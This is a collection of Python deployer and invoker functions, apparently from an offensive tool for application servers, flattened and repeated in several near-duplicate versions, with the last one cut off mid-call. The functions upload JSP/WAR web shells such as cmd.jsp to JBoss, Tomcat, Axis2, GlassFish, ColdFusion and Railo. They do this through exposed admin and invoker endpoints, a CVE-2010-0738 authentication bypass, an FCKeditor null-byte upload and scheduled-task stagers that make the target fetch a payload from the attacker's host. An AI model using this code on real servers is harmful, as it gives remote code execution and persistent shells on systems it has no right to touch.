def invoke_war(fingerengine, fingerprint): """ Invoke a deployed WAR file on the remote server. This uses unzip because Python's zip module isn't very portable or fault tolerant; i.e. it fails to parse msfpayload-generated WARs, though this is a fault of metasploit, not the Python module. """ dfile = fingerengine.options.deploy jsp = getoutput("unzip -l %s | grep jsp" % dfile).split(' ')[-1] if jsp == '': utility.Msg("Failed to find a JSP in the deployed WAR", LOG.DEBUG) return else: utility.Msg("Using JSP {0} from {1} to invoke".format(jsp, dfile), LOG.DEBUG) url = "http://{0}:{1}/{2}/{3}".format(fingerengine.options.ip, fingerprint.port, parse_war_path(dfile), jsp) if _invoke(url): utility.Msg("{0} invoked at {1}".format(dfile, fingerengine.options.ip)) else: utility.Msg("Failed to invoke {0}".format(parse_war_path(dfile, True)), LOG.ERROR)
def deploy(fingerengine, fingerprint): """ Upload a service via the administrative interface """ cookie = None file_path = abspath(fingerengine.options.deploy) file_name = parse_war_path(file_path, True) dip = fingerengine.options.ip cookie = checkAuth(dip, fingerprint.port, title, fingerprint.version) if not cookie: utility.Msg("Could not get auth to %s:%s" % (dip, fingerprint.port), LOG.ERROR) return utility.Msg("Preparing to deploy {0}".format(file_name)) base = 'http://{0}:{1}'.format(dip, fingerprint.port) uri = '/axis2/axis2-admin/upload' payload = {'filename' : open(file_path, 'rb')} response = utility.requests_post(base + uri, files=payload, cookies=cookie) if response.status_code is 200: utility.Msg("{0} deployed successfully to /axis2/services/{1}". format(file_name, parse_war_path(file_path)), LOG.SUCCESS) else: utility.Msg("Failed to deploy {0} (HTTP {1})".format(file_name, response.status_code), LOG.ERROR)
def deploy(fingerengine, fingerprint): """ Upload a service via the administrative interface """ cookie = None file_path = abspath(fingerengine.options.deploy) file_name = parse_war_path(file_path, True) dip = fingerengine.options.ip cookie = checkAuth(dip, fingerprint.port, title, fingerprint.version) if not cookie: utility.Msg("Could not get auth to %s:%s" % (dip, fingerprint.port), LOG.ERROR) return utility.Msg("Preparing to deploy {0}".format(file_name)) base = "http://{0}:{1}".format(dip, fingerprint.port) uri = "/axis2/axis2-admin/upload" payload = {"filename": open(file_path, "rb")} response = utility.requests_post(base + uri, files=payload, cookies=cookie) if response.status_code is 200: if "The following error occurred" in response.content: error = findall("occurred <br/> (.*?)</font>", response.content) utility.Msg("Failed to deploy {0}. Reason: {1}".format(file_name, error[0]), LOG.ERROR) else: utility.Msg( "{0} deployed successfully to /axis2/services/{1}".format(file_name, parse_war_path(file_path)), LOG.SUCCESS, ) else: utility.Msg("Failed to deploy {0} (HTTP {1})".format(file_name, response.status_code), LOG.ERROR)
def invoke_war(fingerengine, fingerprint): """ Invoke a deployed WAR or JSP file on the remote server. This uses unzip because Python's zip module isn't very portable or fault tolerant; i.e. it fails to parse msfpayload-generated WARs, though this is a fault of metasploit, not the Python module. """ dfile = fingerengine.options.deploy jsp = '' if '.war' in dfile: jsp = getoutput("unzip -l %s | grep jsp" % dfile).split(' ')[-1] elif '.jsp' in dfile: jsp = dfile if jsp == '': utility.Msg("Failed to find a JSP in the deployed WAR", LOG.DEBUG) return utility.Msg("Using JSP {0} from {1} to invoke".format(jsp, dfile), LOG.DEBUG) war_path = parse_war_path(dfile) try: # for jboss ejb/jmx invokers, we append a random integer # in case multiple deploys of the same name are used if fingerengine.random_int: war_path += fingerengine.random_int except: pass url = "http://{0}:{1}/{2}/{3}" if 'random_int' in dir(fingerengine): # we've deployed via ejb/jmxinvokerservlet, so the path # will be based upon a random number url = url.format(fingerengine.options.ip, fingerprint.port, war_path + str(fingerengine.random_int), jsp) else: url = url.format(fingerengine.options.ip, fingerprint.port, war_path, jsp) if _invoke(url): utility.Msg("{0} invoked at {1}".format(dfile, fingerengine.options.ip)) else: utility.Msg("Failed to invoke {0}".format(parse_war_path(dfile, True)), LOG.ERROR)
def invoke_axis2(fingerengine, fingerprint, deployer): """ Invoke an Axis2 payload """ cnt = 0 dfile = parse_war_path(fingerengine.options.deploy) url = 'http://{0}:{1}/axis2/services/{2}'.format( fingerengine.options.ip, fingerprint.port, dfile) if fingerprint.version not in ['1.6']: # versions < 1.6 require an explicit invocation of run url += '/run' utility.Msg("Attempting to invoke...") # axis2 takes a few seconds to get going, probe for 5s while cnt < 5: if _invoke(url): utility.Msg("{0} invoked at {1}".format(dfile, fingerengine.options.ip)) return cnt += 1 sleep(1) utility.Msg("Failed to invoke {0}".format(dfile), LOG.ERROR)
def deploy(fingerengine, fingerprint): """ Upload via the exposed REST API """ if fingerprint.version in ['3.1', '4.0']: state.ssl = True war_file = fingerengine.options.deploy war_path = abspath(war_file) war_name = parse_war_path(war_file) dip = fingerengine.options.ip headers = { "Accept" : "application/json", "X-Requested-By" : "requests" } cookie = checkAuth(dip, fingerprint.port, title) if not cookie: utility.Msg("Could not get auth to %s:%s" % (dip, fingerprint.port), LOG.ERROR) return utility.Msg("Preparing to deploy {0}...".format(war_file)) base = 'http://{0}:{1}'.format(dip, fingerprint.port) uri = '/management/domain/applications/application' data = { 'id' : open(war_path, 'rb'), 'force' : 'true' } response = utility.requests_post(base + uri, files=data, auth=cookie, headers=headers) if response.status_code is 200: if fingerprint.version in ['3.0']: # GF 3.0 ignores context-root and appends a random character string to # the name. We need to fetch it, then set it as our random_int for # invoke support. There's also no list-wars in here... url = base + '/management/domain/applications/application' response = utility.requests_get(url, auth=cookie, headers=headers) if response.status_code is 200: data = json.loads(response.content) for entry in data[u"Child Resources"]: if war_name in entry: rand = entry.rsplit('/', 1)[1] rand = rand.split(war_name)[1] fingerengine.random_int = str(rand) utility.Msg("Deployed {0} to :8080/{0}{1}".format(war_name, rand), LOG.SUCCESS) else: utility.Msg("Deployed {0} to :8080/{0}".format(war_name), LOG.SUCCESS) else: utility.Msg("Failed to deploy {0} (HTTP {1})".format(war_name, response.status_code), LOG.ERROR)
def deploy(fingerengine, fingerprint): """ This deployer attempts to deploy to the EJBInvokerServlet, often left unprotected. For versions 3.x and 4.x we can deploy WARs, but for 5.x the HttpAdaptor invoker is broken (in JBoss), so instead we invoke the DeploymentFileRepository method. This requires a JSP instead of a WAR. """ war_file = fingerengine.options.deploy war_name = parse_war_path(war_file) utility.Msg("Preparing to deploy {0}...".format(war_file)) url = "http://{0}:{1}/invoker/EJBInvokerServlet".format( fingerengine.options.ip, fingerprint.port) fingerengine.random_int = str(randint(50,300)) # the attached fingerprint doesnt have a version; lets pull one of the others # to fetch it. dirty hack. fp = [f for f in fingerengine.fingerprints if f.version != 'Any'] if len(fp) > 0: fp = fp[0] else: ver = utility.capture_input("Could not reliably determine version, " "please enter the remote JBoss instance" " version") if len(ver) > 0: if '.' not in ver: ver += '.0' if ver not in versions: utility.Msg("Failed to find a valid fingerprint for deployment.", LOG.ERROR) return else: fp = fingerprint fp.version = ver else: return if '.war' in war_file: tmp = utility.capture_input("This deployer requires a JSP, default to cmd.jsp? [Y/n]") if 'n' in tmp.lower(): return war_file = abspath("./src/lib/resources/cmd.jsp") war_name = "cmd" response = invkdeploy(fp.version, url, abspath(war_file), fingerengine.random_int) if len(response) > 1: if 'org.jboss.web.tomcat.security.SecurityAssociationValve' in response \ and 'org.apache.catalina.authenticator.AuthenticatorBase.invoke' in response: utility.Msg('Deployment failed due to insufficient or invalid credentials.', LOG.ERROR) else: utility.Msg(response, LOG.DEBUG) else: utility.Msg("{0} deployed to {1} (/{2})".format(war_name, fingerengine.options.ip, war_name + fingerengine.random_int), LOG.SUCCESS)
def deploy(fingerengine, fingerprint): """ Through Tomcat versions, remotely deploying hasnt changed much. Newer versions have a new URL and some quarks, but it's otherwise very stable and quite simple. Tomcat cannot be asked to pull a file, and thus we just execute a PUT with the payload. Simple and elegant. """ war_file = fingerengine.options.deploy war_path = parse_war_path(war_file) version_path = "manager/deploy" utility.Msg("Preparing to deploy {0}...".format(war_file)) if fingerprint.version in ["7.0", "8.0"]: # starting with version 7.0, the remote deployment URL has changed version_path = "manager/text/deploy" url = "http://{0}:{1}/{2}?path=/{3}".format(fingerengine.options.ip, fingerprint.port, version_path, war_path) try: files = open(war_file, 'rb') except Exception, e: utility.Msg(e, LOG.ERROR) return
def deploy(fingerengine, fingerprint): """ Exploits Seam2 exposed by certain JBoss installs. Here we require the use of a JSP payload that's written into the www root. The 5.1 deployer here varies slightly from the Metasploit version, which doesn't appear to have been tested against 5.1. JBoss 5.1 writes into a cached temp, which is regenerated every time that war folder is modified. This kills the shell. JBoss 6.0/6.1 is the same, however, and appears to work fine. https://www.exploit-db.com/exploits/36653/ """ war_file = abspath(fingerengine.options.deploy) war_name = parse_war_path(war_file) if '.war' in war_file: # tmp = utility.capture_input('This deployer requires a JSP, default to cmd.jsp? [Y/n]') # if 'n' in tmp.lower(): # return war_file = abspath('./src/lib/resources/cmd.jsp') war_name = 'cmd' utility.Msg("Preparing to deploy {0}...".format(war_name)) headers = {"Content-Type":"application/x-www-form-urlencoded"} jsp_name = ''.join(choice(ascii_lowercase) for _ in range(5)) + '.jsp' jsp = None try: with open(war_file) as f: jsp = f.read() except Exception, e: utility.Msg("Error reading payload file '%s': %s" % (war_file, e), LOG.ERROR) return False
def invoke(url, payload, os, version, pl_file): """ All we need to do is traverse up to the admin-ext-thumbnails directory and invoke our stager """ utility.Msg("Invoking stager and deploying payload...") fetchurl = "http://{0}:{1}/{2}".format(utility.local_address(), state.external_port, pl_file) # calculate file hash hsh = md5("%s-5000-5000" % fetchurl).hexdigest().upper() url = url.format(hsh) # fire up server server_thread = Thread(target=_serve, args=(payload, )) server_thread.start() sleep(2) r = utility.requests_get(url) if waitServe(server_thread): utility.Msg( "{0} deployed at /railo-context/{0}".format( parse_war_path(payload, True)), LOG.SUCCESS) else: utility.Msg("Failed to deploy (HTTP %d)" % r.status_code, LOG.ERROR) killServe()
def run_task(ip, fingerprint, cfm_path): """ """ global cookie cfm_file = parse_war_path(cfm_path, True) # kick up server server_thread = Thread(target=_serve, args=(cfm_path,)) server_thread.start() sleep(2) base = "http://{0}:{1}/railo-context/admin/web.cfm".format(ip, fingerprint.port) params = "?action=services.schedule" data = OrderedDict([ ("row_1", "1"), ("name_1", cfm_file), ("mainAction", "execute") ]) response = utility.requests_post(base + params, data=data, cookies=cookie) if waitServe(server_thread): utility.Msg("{0} deployed to /{0}".format(cfm_file), LOG.SUCCESS) killServe()
def invoke_cf(fingerengine, fingerprint, deployer): """ """ dfile = parse_war_path(fingerengine.options.deploy, True) if fingerprint.version in ["10.0"]: # deployments to 10 require us to trigger a 404 url = "http://{0}:{1}/CFIDE/ad123.cfm".format(fingerengine.options.ip, fingerprint.port) elif fingerprint.version in ["8.0"] and "fck_editor" in deployer.__name__: # invoke a shell via FCKeditor deployer url = "http://{0}:{1}/userfiles/file/{2}".format( fingerengine.options.ip, fingerprint.port, dfile) elif 'lfi_stager' in deployer.__name__: url = 'http://{0}:{1}/{2}'.format(fingerengine.options.ip, fingerprint.port, dfile) else: url = "http://{0}:{1}/CFIDE/{2}".format(fingerengine.options.ip, fingerprint.port, dfile) if _invoke(url): utility.Msg("{0} invoked at {1}".format(dfile, fingerengine.options.ip)) else: utility.Msg("Failed to invoke {0}".format(dfile), LOG.ERROR)
def invoke(url, payload, os, version, pl_file): """ All we need to do is traverse up to the admin-ext-thumbnails directory and invoke our stager """ utility.Msg("Invoking stager and deploying payload...") fetchurl = "http://{0}:{1}/{2}".format(utility.local_address(), state.external_port, pl_file) # calculate file hash hsh = md5("%s-5000-5000" % fetchurl).hexdigest().upper() url = url.format(hsh) # fire up server server_thread = Thread(target=_serve, args=(payload,)) server_thread.start() sleep(2) r = utility.requests_get(url) if waitServe(server_thread): utility.Msg("{0} deployed at /railo-context/{0}".format( parse_war_path(payload,True)), LOG.SUCCESS) else: utility.Msg("Failed to deploy (HTTP %d)" % r.status_code, LOG.ERROR) killServe()
def run_task(ip, fingerprint, cfm_path): """ Invoke the task and wait for the remote server to fetch our file """ cfm_name = parse_war_path(cfm_path, True) # kick up the HTTP server server_thread = Thread(target=_serve, args=(cfm_path,)) server_thread.start() sleep(2) url = "http://{0}:{1}/CFIDE/administrator/scheduler/scheduletasks.cfm"\ .format(ip, fingerprint.port) (cookie, csrf) = fetch_csrf(ip, fingerprint, url) if fingerprint.version in ["9.0"]: uri = "?runtask={0}&timeout=0&csrftoken={1}".format(cfm_name, csrf) elif fingerprint.version in ["10.0"]: uri = "?runtask={0}&group=default&mode=server&csrftoken={1}".format(cfm_name, csrf) response = utility.requests_get(url + uri, cookies=cookie) if waitServe(server_thread): utility.Msg("{0} deployed to /CFIDE/{0}".format(cfm_name), LOG.SUCCESS) try: utility.requests_get("http://localhost:8000", timeout=1) except: pass
def deploy(fingerengine, fingerprint): """ Exploits the exposed FCKeditor in CF 8.x """ cfm_path = abspath(fingerengine.options.deploy) cfm_name = parse_war_path(cfm_path, True) dip = fingerengine.options.ip utility.Msg("Checking if FCKEditor is exposed...") url = "http://{0}:{1}".format(dip, fingerprint.port) uri = "/CFIDE/scripts/ajax/FCKeditor/editor/dialog/fck_about.html" response = utility.requests_get(url + uri) if response.status_code == 200 and "FCKeditor" in response.content: utility.Msg("FCKeditor exposed, attempting to write payload...") else: utility.Msg("FCKeditor doesn't seem to be exposed (HTTP %d)" % response.status_code) return try: payload = {"NewFile" : ("asdf.txt", open(cfm_path, "r").read())} except Exception as e: utility.Msg("Error reading file: %s" % e, LOG.ERROR) return uri = "/CFIDE/scripts/ajax/FCKeditor/editor/filemanager/connectors/cfm/upload.cfm" uri += "?Command=FileUploads&Type=File&CurrentFolder=/{0}%00".format(cfm_name) response = utility.requests_post(url + uri, files=payload) if response.status_code == 200 and "OnUploadCompleted" in response.content: utility.Msg("Deployed. Access /userfiles/file/{0} for payload"\ .format(cfm_name), LOG.SUCCESS) else: utility.Msg("Could not write payload (HTTP %d)" % (response.status_code))
def deploy(fingerengine, fingerprint): """ """ cfm_path = abspath(fingerengine.options.deploy) cfm_file = parse_war_path(cfm_path, True) dip = fingerengine.options.ip utility.Msg("Preparing to deploy {0}...".format(cfm_file)) utility.Msg("Fetching web root...", LOG.DEBUG) # fetch web root; this is where we stash the file root = fetch_webroot(dip, fingerprint) if not root: utility.Msg("Unable to fetch web root.", LOG.ERROR) return # create the scheduled task utility.Msg("Web root found at %s" % root, LOG.DEBUG) utility.Msg("Creating scheduled task...") if not create_task(dip, fingerprint, cfm_file, root): return # invoke the task utility.Msg("Task %s created, invoking task..." % cfm_file) run_task(dip, fingerprint, cfm_path) # remove the task utility.Msg("Cleaning up...") delete_task(dip, fingerprint, cfm_file)
def run(fingerengine, fingerprint): """ This module exploits CVE-2010-0738, which bypasses authentication by submitting requests with different HTTP verbs, such as HEAD. """ utility.Msg("Checking %s for verb tampering" % fingerengine.options.ip, LOG.DEBUG) url = "http://{0}:{1}/jmx-console/HtmlAdaptor".format(fingerengine.options.ip, fingerprint.port) response = utility.requests_head(url) if response.status_code == 200: utility.Msg("Vulnerable to verb tampering, attempting to deploy...", LOG.SUCCESS) war_file = abspath(fingerengine.options.deploy) war_name = parse_war_path(war_file) tamper = "/jmx-console/HtmlAdaptor?action=invokeOp"\ "&name=jboss.admin:service=DeploymentFileRepository&methodIndex=5"\ "&arg0={0}&arg1={1}&arg2=.jsp&arg3={2}&arg4=True".format( war_file.replace('.jsp', '.war'), war_name, quote_plus(open(war_file).read())) response = utility.requests_head(url + tamper) if response.status_code == 200: utility.Msg("Successfully deployed {0}".format(war_file), LOG.SUCCESS) else: utility.Msg("Failed to deploy (HTTP %d)" % response.status_code, LOG.ERROR)
def invoke_cf(fingerengine, fingerprint, deployer): """ """ dfile = parse_war_path(fingerengine.options.deploy, True) if fingerprint.version in ["10.0"]: # deployments to 10 require us to trigger a 404 url = "http://{0}:{1}/CFIDE/ad123.cfm".format(fingerengine.options.ip, fingerprint.port) elif fingerprint.version in ["8.0"] and "fck_editor" in deployer.__name__: # invoke a shell via FCKeditor deployer url = "http://{0}:{1}/userfiles/file/{2}".format(fingerengine.options.ip, fingerprint.port, dfile) elif 'lfi_stager' in deployer.__name__: url = 'http://{0}:{1}/{2}'.format(fingerengine.options.ip, fingerprint.port, dfile) else: url = "http://{0}:{1}/CFIDE/{2}".format(fingerengine.options.ip, fingerprint.port, dfile) if _invoke(url): utility.Msg("{0} invoked at {1}".format(dfile, fingerengine.options.ip)) else: utility.Msg("Failed to invoke {0}".format(dfile), LOG.ERROR)
def manage_undeploy(fingerengine, fingerprint): """ This is used to undeploy from JBoss 7.x and 8.x """ context = fingerengine.options.undeploy context = parse_war_path(context) url = 'http://{0}:{1}/management'.format(fingerengine.options.ip, fingerprint.port) undeploy = '{{"operation":"remove", "address":{{"deployment":"{0}"}}}}'\ .format(context) headers = {'Content-Type':"application/json"} response = utility.requests_post(url, headers=headers, data=undeploy) if response.status_code == 401: utility.Msg("Host %s:%s requires auth, checking..." % (fingerengine.options.ip, fingerprint.port), LOG.DEBUG) cookie = checkAuth(fingerengine.options.ip, fingerprint.port, fingerprint.title, fingerprint.version) if cookie: response = utility.requests_post(url, headers=headers, data=undeploy, cookies=cookie[0], auth=cookie[1]) else: utility.Msg("Could not get auth for %s:%s" % (fingerengine.options.ip, fingerprint.port), LOG.ERROR) if response.status_code == 200: utility.Msg("{0} successfully undeployed".format(context), LOG.SUCCESS) else: utility.Msg("Failed to undeploy", LOG.ERROR)
def deploy(fingerengine, fingerprint): """ This deployer attempts to deploy to the JMXInvokerServlet, often left unprotected. For versions 3.x and 4.x we can deploy WARs, but for 5.x the HttpAdaptor invoker is broken (in JBoss), so instead we invoke the DeploymentFileRepository method. This requires a JSP instead of a WAR. """ war_file = fingerengine.options.deploy war_name = parse_war_path(war_file) utility.Msg("Preparing to deploy {0}...".format(war_file)) url = "http://{0}:{1}/invoker/JMXInvokerServlet".format( fingerengine.options.ip, fingerprint.port) fingerengine.random_int = str(randint(50,300)) # the attached fingerprint doesnt have a version; lets pull one of the others # to fetch it. dirty hack. fp = [f for f in fingerengine.fingerprints if f.version != 'Any'] if len(fp) > 0: fp = fp[0] else: ver = utility.capture_input("Could not reliably determine version, " "please enter the remote JBoss instance" " version") if len(ver) > 0: if '.' not in ver: ver += '.0' if ver not in versions: utility.Msg("Failed to find a valid fingerprint for deployment.", LOG.ERROR) return else: fp = fingerprint fp.version = ver else: return if '.war' in war_file: tmp = utility.capture_input("This deployer requires a JSP, default to cmd.jsp? [Y/n]") if 'n' in tmp.lower(): return war_file = abspath("./src/lib/resources/cmd.jsp") war_name = "cmd" response = invkdeploy(fp.version, url, abspath(war_file), fingerengine.random_int) if len(response) > 1: if('org.jboss.web.tomcat.security.SecurityAssociationValve' in response and 'org.apache.catalina.authenticator.AuthenticatorBase.invoke' in response): utility.Msg('Deployment failed due to insufficient or invalid credentials.', LOG.ERROR) else: utility.Msg(response, LOG.DEBUG) else: utility.Msg("{0} deployed to {1} (/{2})".format(war_name, fingerengine.options.ip, war_name + fingerengine.random_int), LOG.SUCCESS)
def run(fingerengine, fingerprint): """ This module exploits CVE-2010-0738, which bypasses authentication by submitting requests with different HTTP verbs, such as HEAD. """ utility.Msg("Checking %s for verb tampering" % fingerengine.options.ip, LOG.DEBUG) url = "http://{0}:{1}/jmx-console/HtmlAdaptor".format( fingerengine.options.ip, fingerprint.port) response = utility.requests_head(url) if response.status_code == 200: utility.Msg( "Vulnerable to verb tampering, attempting to deploy...", LOG.SUCCESS) war_file = abspath(fingerengine.options.deploy) war_name = parse_war_path(war_file) tamper = "/jmx-console/HtmlAdaptor?action=invokeOp"\ "&name=jboss.admin:service=DeploymentFileRepository&methodIndex=5"\ "&arg0={0}&arg1={1}&arg2=.jsp&arg3={2}&arg4=True".format( war_file.replace('.jsp', '.war'), war_name, quote_plus(open(war_file).read())) response = utility.requests_head(url + tamper) if response.status_code == 200: utility.Msg("Successfully deployed {0}".format(war_file), LOG.SUCCESS) else: utility.Msg( "Failed to deploy (HTTP %d)" % response.status_code, LOG.ERROR)
def run_task(ip, fingerprint, cfm_path, cookie): """ Invoke the task and wait for the server to fetch it """ success = False cfm_file = parse_war_path(cfm_path, True) # start up our listener server_thread = Thread(target=_serve, args=(cfm_path,)) server_thread.start() sleep(2) base = 'http://{0}:{1}'.format(ip, fingerprint.port) if fingerprint.version in ['5.0']: uri = '/CFIDE/administrator/scheduler/runtask.cfm?task=%s' % cfm_file else: uri = '/CFIDE/administrator/scheduler/scheduletasks.cfm?runtask=%s'\ % cfm_file response = utility.requests_get(base + uri, cookies=cookie) if waitServe(server_thread): if fingerprint.version in ['5.0']: out_diag = "{0} deployed to /{0}".format(cfm_file.replace('cfml','cfm')) else: out_diag = "{0} deployed to /CFIDE/{0}".format(cfm_file) utility.Msg(out_diag, LOG.SUCCESS) success = True killServe() return success
def deploy(fingerengine, fingerprint): """ Exploits Seam2 exposed by certain JBoss installs. Here we require the use of a JSP payload that's written into the www root. The 5.1 deployer here varies slightly from the Metasploit version, which doesn't appear to have been tested against 5.1. JBoss 5.1 writes into a cached temp, which is regenerated every time that war folder is modified. This kills the shell. JBoss 6.0/6.1 is the same, however, and appears to work fine. https://www.exploit-db.com/exploits/36653/ """ war_file = abspath(fingerengine.options.deploy) war_name = parse_war_path(war_file) if '.war' in war_file: war_file = abspath('./src/lib/resources/cmd.jsp') war_name = 'cmd' utility.Msg("Preparing to deploy {0}...".format(war_name)) headers = {"Content-Type":"application/x-www-form-urlencoded"} jsp_name = ''.join(choice(ascii_lowercase) for _ in range(5)) + '.jsp' jsp = None try: with open(war_file) as f: jsp = f.read() except Exception, e: utility.Msg("Error reading payload file '%s': %s" % (war_file, e), LOG.ERROR) return False
def run_task(ip, fingerprint, cfm_path, cookie): """ Invoke the task and wait for the server to fetch it """ success = False cfm_file = parse_war_path(cfm_path, True) # start up our listener server_thread = Thread(target=_serve, args=(cfm_path, )) server_thread.start() sleep(2) base = 'http://{0}:{1}'.format(ip, fingerprint.port) if fingerprint.version in ['5.0']: uri = '/CFIDE/administrator/scheduler/runtask.cfm?task=%s' % cfm_file else: uri = '/CFIDE/administrator/scheduler/scheduletasks.cfm?runtask=%s'\ % cfm_file response = utility.requests_get(base + uri, cookies=cookie) if waitServe(server_thread): if fingerprint.version in ['5.0']: out_diag = "{0} deployed to /{0}".format( cfm_file.replace('cfml', 'cfm')) else: out_diag = "{0} deployed to /CFIDE/{0}".format(cfm_file) utility.Msg(out_diag, LOG.SUCCESS) success = True killServe() return success
def deploy(fingerengine, fingerprint): """ This deployer is slightly different than manager_deploy in that it only requires the manager-gui role. This requires us to deploy like one would via the web interface. """ base = 'http://{0}:{1}'.format(fingerengine.options.ip, fingerprint.port) uri = '/manager/html/upload' war_file = fingerengine.options.deploy war_path = parse_war_path(war_file) cookies = checkAuth(fingerengine.options.ip, fingerprint.port, fingerprint.title, fingerprint.version) if not cookies: utility.Msg( "Could not get auth for %s:%s" % (fingerengine.options.ip, fingerprint.port), LOG.ERROR) return utility.Msg("Preparing to deploy {0}...".format(war_file)) if fingerprint.version in ['6.0', '7.0', '8.0']: # deploying via the gui requires a CSRF token (csrf, c) = fetchCSRF(base, cookies) if not csrf: return else: # set CSRF and refresh session id uri += '?org.apache.catalina.filters.CSRF_NONCE={0}' uri = uri.format(csrf) cookies = (c, cookies[1]) # read in payload try: tag = 'deployWar' if fingerprint.version in ['4.0', '4.1']: tag = 'installWar' files = {tag: (war_path + '.war', open(war_file, 'rb'))} except Exception as e: utility.Msg(e, LOG.ERROR) return # deploy response = utility.requests_post(base + uri, files=files, cookies=cookies[0], auth=cookies[1]) if response.status_code == 200 and "OK" in response.content: utility.Msg("Deployed {0} to /{1}".format(war_file, war_path), LOG.SUCCESS) elif 'Application already exists' in response.content: utility.Msg("Application {0} is already deployed".format(war_file), LOG.ERROR) elif response.status_code is 403: utility.Msg("This account does not have permissions to remotely deploy. Try"\ " using manager_deploy", LOG.ERROR) else: utility.Msg("Failed to deploy (HTTP %d)" % response.status_code, LOG.ERROR)
def deploy(fingerengine, fingerprint): """ Upload via the exposed REST API """ if fingerprint.version in ['3.1', '4.0']: state.ssl = True war_file = fingerengine.options.deploy war_path = abspath(war_file) war_name = parse_war_path(war_file) dip = fingerengine.options.ip headers = {"Accept": "application/json", "X-Requested-By": "requests"} cookie = checkAuth(dip, fingerprint.port, title) if not cookie: utility.Msg("Could not get auth to %s:%s" % (dip, fingerprint.port), LOG.ERROR) return utility.Msg("Preparing to deploy {0}...".format(war_file)) base = 'http://{0}:{1}'.format(dip, fingerprint.port) uri = '/management/domain/applications/application' data = {'id': open(war_path, 'rb'), 'force': 'true'} response = utility.requests_post(base + uri, files=data, auth=cookie, headers=headers) if response.status_code is 200: if fingerprint.version in ['3.0']: # GF 3.0 ignores context-root and appends a random character string to # the name. We need to fetch it, then set it as our random_int for # invoke support. There's also no list-wars in here... url = base + '/management/domain/applications/application' response = utility.requests_get(url, auth=cookie, headers=headers) if response.status_code is 200: data = json.loads(response.content) for entry in data[u"Child Resources"]: if war_name in entry: rand = entry.rsplit('/', 1)[1] rand = rand.split(war_name)[1] fingerengine.random_int = str(rand) utility.Msg( "Deployed {0} to :8080/{0}{1}".format(war_name, rand), LOG.SUCCESS) else: utility.Msg("Deployed {0} to :8080/{0}".format(war_name), LOG.SUCCESS) else: utility.Msg( "Failed to deploy {0} (HTTP {1})".format(war_name, response.status_code), LOG.ERROR)
def deploy(fingerengine, fingerprint): """ Exploits the DeploymentFileRepository bean to deploy a JSP to the remote server. Note that this requires a JSP, not a packaged or exploded WAR. """ war_file = abspath(fingerengine.options.deploy) war_name = parse_war_path(war_file) if '.war' in war_file: tmp = utility.capture_input( "This deployer requires a JSP, default to cmd.jsp? [Y/n]") if "n" in tmp.lower(): return war_file = abspath("./src/lib/resources/cmd.jsp") war_name = "cmd" utility.Msg("Preparing to deploy {0}...".format(war_name)) url = "http://{0}:{1}/jmx-console/HtmlAdaptor".format( fingerengine.options.ip, fingerprint.port) data = OrderedDict([('action', 'invokeOp'), ('name', 'jboss.admin:service=DeploymentFileRepository'), ('methodIndex', 5), ('arg0', war_file.replace('.jsp', '.war')), ('arg1', war_name), ('arg2', '.jsp'), ('arg3', open(war_file, 'r').read()), ('arg4', True)]) response = utility.requests_post(url, data=data) if response.status_code == 401: utility.Msg( "Host %s:%s requires auth for JMX, checking..." % (fingerengine.options.ip, fingerprint.port), LOG.DEBUG) cookies = checkAuth(fingerengine.options.ip, fingerprint.port, fingerprint.title, fingerprint.version) if cookies: response = utility.requests_post(url, data=data, cookies=cookies[0], auth=cookies[1]) else: utility.Msg( "Could not get auth for %s:%s" % (fingerengine.options.ip, fingerprint.port), LOG.ERROR) return if response.status_code == 200: utility.Msg( "Successfully deployed '/{0}/{1}'".format(war_name, war_name + '.jsp'), LOG.SUCCESS) else: utility.Msg("Failed to deploy (HTTP %d)" % response.status_code, LOG.ERROR)
def invoke_rl(fingerengine, fingerprint, deployer): """ """ dfile = parse_war_path(fingerengine.options.deploy, True) url = "http://{0}:{1}/{2}".format(fingerengine.options.ip, fingerprint.port, dfile) if _invoke(url): utility.Msg("{0} invoked at {1}".format(dfile, fingerengine.options.ip)) else: utility.Msg("Failed to invoke {0}".format(dfile), LOG.ERROR)
def deploy(fingerengine, fingerprint): """ This deployer attempts to deploy to the EJBInvokerServlet, often left unprotected. For versions 3.x and 4.x we can deploy WARs, but for 5.x the HttpAdaptor invoker is broken (in JBoss), so instead we invoke the DeploymentFileRepository method. This requires a JSP instead of a WAR. """ war_file = fingerengine.options.deploy war_name = parse_war_path(war_file) utility.Msg("Preparing to deploy {0}...".format(war_file)) url = "http://{0}:{1}/invoker/EJBInvokerServlet".format( fingerengine.options.ip, fingerprint.port) fingerengine.random_int = str(randint(50, 300)) # the attached fingerprint doesnt have a version; lets pull one of the others # to fetch it. dirty hack. fp = [f for f in fingerengine.fingerprints if f.version != 'Any'] if len(fp) > 0: fp = fp[0] else: ver = utility.capture_input("Could not reliably determine version, " "please enter the remote JBoss instance" " version") if len(ver) > 0: if '.' not in ver: ver += '.0' if ver not in versions: utility.Msg( "Failed to find a valid fingerprint for deployment.", LOG.ERROR) return else: fp = fingerprint fp.version = ver else: return if '.war' in war_file: utility.Msg("This deployer requires a JSP payload", LOG.ERROR) return response = invkdeploy(fp.version, url, abspath(war_file), fingerengine.random_int) if len(response) > 1: utility.Msg(response, LOG.DEBUG) else: utility.Msg( "{0} deployed to {1} (/{2})".format( war_file, fingerengine.options.ip, war_name + fingerengine.random_int), LOG.SUCCESS)
def invoke_rl(fingerengine, fingerprint, deployer): """ """ dfile = parse_war_path(fingerengine.options.deploy, True) url = 'http://{0}:{1}/{2}'.format(fingerengine.options.ip, fingerprint.port, dfile) if _invoke(url): utility.Msg("{0} invoked at {1}".format(dfile, fingerengine.options.ip)) else: utility.Msg("Failed to invoke {0}".format(dfile), LOG.ERROR)
def deploy(fingerengine, fingerprint): """ This deployer attempts to deploy to the JMXInvokerServlet, often left unprotected. For versions 3.x and 4.x we can deploy WARs, but for 5.x the HttpAdaptor invoker is broken (in JBoss), so instead we invoke the DeploymentFileRepository method. This requires a JSP instead of a WAR. """ war_file = fingerengine.options.deploy war_name = parse_war_path(war_file) utility.Msg("Preparing to deploy {0}...".format(war_file)) url = "http://{0}:{1}/invoker/JMXInvokerServlet".format( fingerengine.options.ip, fingerprint.port) fingerengine.random_int = str(randint(50,300)) # the attached fingerprint doesnt have a version; lets pull one of the others # to fetch it. dirty hack. fp = [f for f in fingerengine.fingerprints if f.version != 'Any'] if len(fp) > 0: fp = fp[0] else: ver = utility.capture_input("Could not reliably determine version, " "please enter the remote JBoss instance" " version") if len(ver) > 0: if '.' not in ver: ver += '.0' if ver not in versions: utility.Msg("Failed to find a valid fingerprint for deployment.", LOG.ERROR) return else: fp = fingerprint fp.version = ver else: return if '.war' in war_file: utility.Msg("This deployer requires a JSP payload", 